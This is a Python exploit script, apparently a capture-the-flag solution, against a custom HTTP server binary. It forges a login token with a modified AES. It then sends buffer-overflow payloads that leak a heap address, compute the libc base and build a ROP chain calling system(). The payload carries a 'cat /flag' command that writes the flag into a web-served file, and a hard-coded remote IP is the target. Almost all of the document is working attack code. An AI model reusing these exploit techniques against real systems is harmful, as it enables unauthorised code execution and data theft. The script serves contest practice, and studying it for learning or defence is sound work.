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from pwncli import *
import requests
from bs4 import BeautifulSoup
import re
from Crypto.Cipher import AES
KEY = b"0123456789ABCDEF"
BLOCK_SIZE = 16
def encrypt_block16(plaintext: bytes) -> bytes:
"""加密单个16字节块（与 sub_401FDB 的单块加密一致）。"""
if len(plaintext) != BLOCK_SIZE:
raise ValueError("plaintext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(plaintext)
def decrypt_block16(ciphertext: bytes) -> bytes:
"""解密单个16字节块。"""
if len(ciphertext) != BLOCK_SIZE:
raise ValueError("ciphertext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(ciphertext)
def encrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 加密（长度需为16的倍数，无填充）。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 解密（长度需为16的倍数，无填充）。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(data)
def fetch_key(url: str, timeout: int = 10) -> str:
"""从登录页返回的 HTML 中提取 KEY 文本。"""
s = requests.Session()
resp = s.get(url, timeout=timeout)
resp.raise_for_status()
html = resp.text
soup = BeautifulSoup(html, "html.parser")
node = soup.select_one(".key-display strong")
if node:
key = node.get_text(strip=True)
if key:
return key
m = re.search(r"<div[^>]*class=\"[^\"]*key-display[^\"]*\"[^>]*>.*?<strong>([^<]+)</strong>", html, re.S | re.I)
if m:
return m.group(1).strip()
raise ValueError("未在页面中找到 KEY，可能页面结构已变或未渲染")
class AES:
MIX_C = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]
I_MIXC = [[0xE, 0xB, 0xD, 0x9], [0x9, 0xE, 0xB, 0xD], [0xD, 0x9, 0xE, 0xB], [0xB, 0xD, 0x9, 0xE]]
RCon = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]
S_BOX = [
[0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82],
[0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2],
[0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62],
[0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2],
[0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42],
[0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2],
[0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22],
[0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92],
[0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02],
[0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72],
[0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2],
[0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52],
[0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2],
[0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32],
[0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2],
[0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12],
]
I_SBOX = [
[0x41, 0xE8, 0x8F, 0x36, 0xDD, 0x84, 0x2B, 0xD2, 0x79, 0x20, 0xC7, 0x6E, 0x15, 0xBC, 0x63, 0x0A],
[0xB1, 0x58, 0xFF, 0xA6, 0x4D, 0xF4, 0x9B, 0x42, 0xE9, 0x90, 0x37, 0xDE, 0x85, 0x2C, 0xD3, 0x7A],
[0x21, 0xC8, 0x6F, 0x16, 0xBD, 0x64, 0x0B, 0xB2, 0x59, 0x00, 0xA7, 0x4E, 0xF5, 0x9C, 0x43, 0xEA],
[0x91, 0x38, 0xDF, 0x86, 0x2D, 0xD4, 0x7B, 0x22, 0xC9, 0x70, 0x17, 0xBE, 0x65, 0x0C, 0xB3, 0x5A],
[0x01, 0xA8, 0x4F, 0xF6, 0x9D, 0x44, 0xEB, 0x92, 0x39, 0xE0, 0x87, 0x2E, 0xD5, 0x7C, 0x23, 0xCA],
[0x71, 0x18, 0xBF, 0x66, 0x0D, 0xB4, 0x5B, 0x02, 0xA9, 0x50, 0xF7, 0x9E, 0x45, 0xEC, 0x93, 0x3A],
[0xE1, 0x88, 0x2F, 0xD6, 0x7D, 0x24, 0xCB, 0x72, 0x19, 0xC0, 0x67, 0x0E, 0xB5, 0x5C, 0x03, 0xAA],
[0x51, 0xF8, 0x9F, 0x46, 0xED, 0x94, 0x3B, 0xE2, 0x89, 0x30, 0xD7, 0x7E, 0x25, 0xCC, 0x73, 0x1A],
[0xC1, 0x68, 0x0F, 0xB6, 0x5D, 0x04, 0xAB, 0x52, 0xF9, 0xA0, 0x47, 0xEE, 0x95, 0x3C, 0xE3, 0x8A],
[0x31, 0xD8, 0x7F, 0x26, 0xCD, 0x74, 0x1B, 0xC2, 0x69, 0x10, 0xB7, 0x5E, 0x05, 0xAC, 0x53, 0xFA],
[0xA1, 0x48, 0xEF, 0x96, 0x3D, 0xE4, 0x8B, 0x32, 0xD9, 0x80, 0x27, 0xCE, 0x75, 0x1C, 0xC3, 0x6A],
[0x11, 0xB8, 0x5F, 0x06, 0xAD, 0x54, 0xFB, 0xA2, 0x49, 0xF0, 0x97, 0x3E, 0xE5, 0x8C, 0x33, 0xDA],
[0x81, 0x28, 0xCF, 0x76, 0x1D, 0xC4, 0x6B, 0x12, 0xB9, 0x60, 0x07, 0xAE, 0x55, 0xFC, 0xA3, 0x4A],
[0xF1, 0x98, 0x3F, 0xE6, 0x8D, 0x34, 0xDB, 0x82, 0x29, 0xD0, 0x77, 0x1E, 0xC5, 0x6C, 0x13, 0xBA],
[0x61, 0x08, 0xAF, 0x56, 0xFD, 0xA4, 0x4B, 0xF2, 0x99, 0x40, 0xE7, 0x8E, 0x35, 0xDC, 0x83, 0x2A],
[0xD1, 0x78, 0x1F, 0xC6, 0x6D, 0x14, 0xBB, 0x62, 0x09, 0xB0, 0x57, 0xFE, 0xA5, 0x4C, 0xF3, 0x9A],
]
def SubBytes(self, State):
return [self.S_BOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def SubBytes_Inv(self, State):
return [self.I_SBOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]
def ShiftRows(self, S):
return [S[0], S[5], S[10], S[15], S[4], S[9], S[14], S[3], S[8], S[13], S[2], S[7], S[12], S[1], S[6], S[11]]
def ShiftRows_Inv(self, S):
return [S[0], S[13], S[10], S[7], S[4], S[1], S[14], S[11], S[8], S[5], S[2], S[15], S[12], S[9], S[6], S[3]]
def MixColumns(self, State):
return self.Matrix_Mul(self.MIX_C, State)
def MixColumns_Inv(self, State):
return self.Matrix_Mul(self.I_MIXC, State)
def RotWord(self, _4byte_block):
return ((_4byte_block & 0xFFFFFF) << 8) + (_4byte_block >> 24)
def SubWord(self, _4byte_block):
result = 0
for position in range(4):
i = _4byte_block >> position * 8 + 4 & 0xF
j = _4byte_block >> position * 8 & 0xF
result ^= self.S_BOX[i][j] << position * 8
return result
def mod(self, poly, mod=0b100011011):
while poly.bit_length() > 8:
poly ^= mod << poly.bit_length() - 9
return poly
def mul(self, poly1, poly2):
result = 0
for index in range(poly2.bit_length()):
if poly2 & 1 << index:
result ^= poly1 << index
return result
def Matrix_Mul(self, M1, M2):
M = [0] * 16
for row in range(4):
for col in range(4):
for Round in range(4):
M[row + col * 4] ^= self.mul(M1[row][Round], M2[Round + col * 4])
M[row + col * 4] = self.mod(M[row + col * 4])
return M
def round_key_generator(self, _16bytes_key):
w = [_16bytes_key >> 96, _16bytes_key >> 64 & 0xFFFFFFFF, _16bytes_key >> 32 & 0xFFFFFFFF, _16bytes_key & 0xFFFFFFFF] + [0] * 40
for i in range(4, 44):
temp = w[i - 1]
if not i % 4:
temp = self.SubWord(self.RotWord(temp)) ^ self.RCon[i // 4 - 1]
w[i] = w[i - 4] ^ temp
return [self.num_2_16bytes(sum([w[4 * i] << 96, w[4 * i + 1] << 64, w[4 * i + 2] << 32, w[4 * i + 3]])) for i in range(11)]
def AddRoundKey(self, State, RoundKeys, index):
return self._16bytes_xor(State, RoundKeys[index])
def _16bytes_xor(self, _16bytes_1, _16bytes_2):
return [_16bytes_1[i] ^ _16bytes_2[i] for i in range(16)]
def _16bytes2num(cls, _16bytes):
return int.from_bytes(_16bytes, byteorder='big')
def num_2_16bytes(cls, num):
return num.to_bytes(16, byteorder='big')
def aes_encrypt(self, plaintext_list, RoundKeys):
State = plaintext_list
State = self.AddRoundKey(State, RoundKeys, 0)
for Round in range(1, 10):
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.MixColumns(State)
State = self.AddRoundKey(State, RoundKeys, Round)
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.AddRoundKey(State, RoundKeys, 10)
return State
def aes_decrypt(self, ciphertext_list, RoundKeys):
State = ciphertext_list
State = self.AddRoundKey(State, RoundKeys, 10)
for Round in range(1, 10):
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 10 - Round)
State = self.MixColumns_Inv(State)
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 0)
return State
def bytes_to_hex_int(data: bytes) -> int:
"""将 bytes 转换为十六进制整数"""
return int(data.hex(), 16)
def get_token(data: bytes):
aes = AES()
key = 0x30313233343536373839414243444546
RoundKeys = aes.round_key_generator(key)
ciphertext = int(data.hex(), 16)
ciphertext = aes.num_2_16bytes(ciphertext)
plaintext = aes.aes_encrypt(ciphertext, RoundKeys)
return hex(aes._16bytes2num(plaintext)).replace('0x', '')
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './httpd')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')
cmd = '''
# b *0x40265C
b *0x4031d4
# b *0x402FAB
# ida
# dir /mnt/f/Documents/CTF/glibc/glibc-2.31
c
'''
launch_gdb(cmd)
url = "http://127.0.0.1:9999/"
url = "http://45.40.247.139:23174/"
sleep(1)
key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())
req = requests.post(url + "login", data=f"ciphertext={token}")
def work(payload):
log_ex(f"payload: {payload}")
try:
req = requests.post(url + "work", data=payload)
except:
return
log_ex(req.text)
def log(idx):
req = requests.post(url + "log", data=f"index={idx}")
return req.text
def csu(rdi=0, rsi=0, rdx=0, rip=0):
return flat([0x40362A, 0, 1, rdi, rsi, rdx, rip, 0x403610]) + p64(0) * 7
CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
rsi_r15 = CG.pop_rsi_r15_ret()
ret = CG.ret()
rbx_rbp = 0x4016AE
rax_rbx_rbp = 0x40283C
magic = 0x4014DC
call_rax = 0x401A83
memcpy_got = 0x406100
memcpy_plt = 0x4013F0
time_got = 0x406108
work('/flag')
work(b'a' * 0x1D + p64(ret) + b'cat /flag>/home/ctf/work.html\x00' + b'a' * 0x400 + b'\n')
ret1 = log(1)
log_ex(ret1)
heap1 = int(ret1[ret1.find(':0x') + 1 :], 16)
leak_ex2(heap1)
libc_base = heap1 - 0xAE70 + 0x7C00000
set_current_libc_base_and_log(libc_base)
payload = flat([rbx_rbp, libc.sym.system - libc.sym.printf, 0x406018 + 0x3D, magic, rdi, heap1 + 0x20, rax_rbx_rbp, 0x406018 + 0x3B7CB770, 0, 0, call_rax])
work(b'a' * (0x48 + 5) + payload + b'YCB2025')
sleep(2)
key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())
req = requests.post(url + "login", data=f"ciphertext={token}")
req = requests.get(url + "work.html")
log_ex(req.text)
ia()
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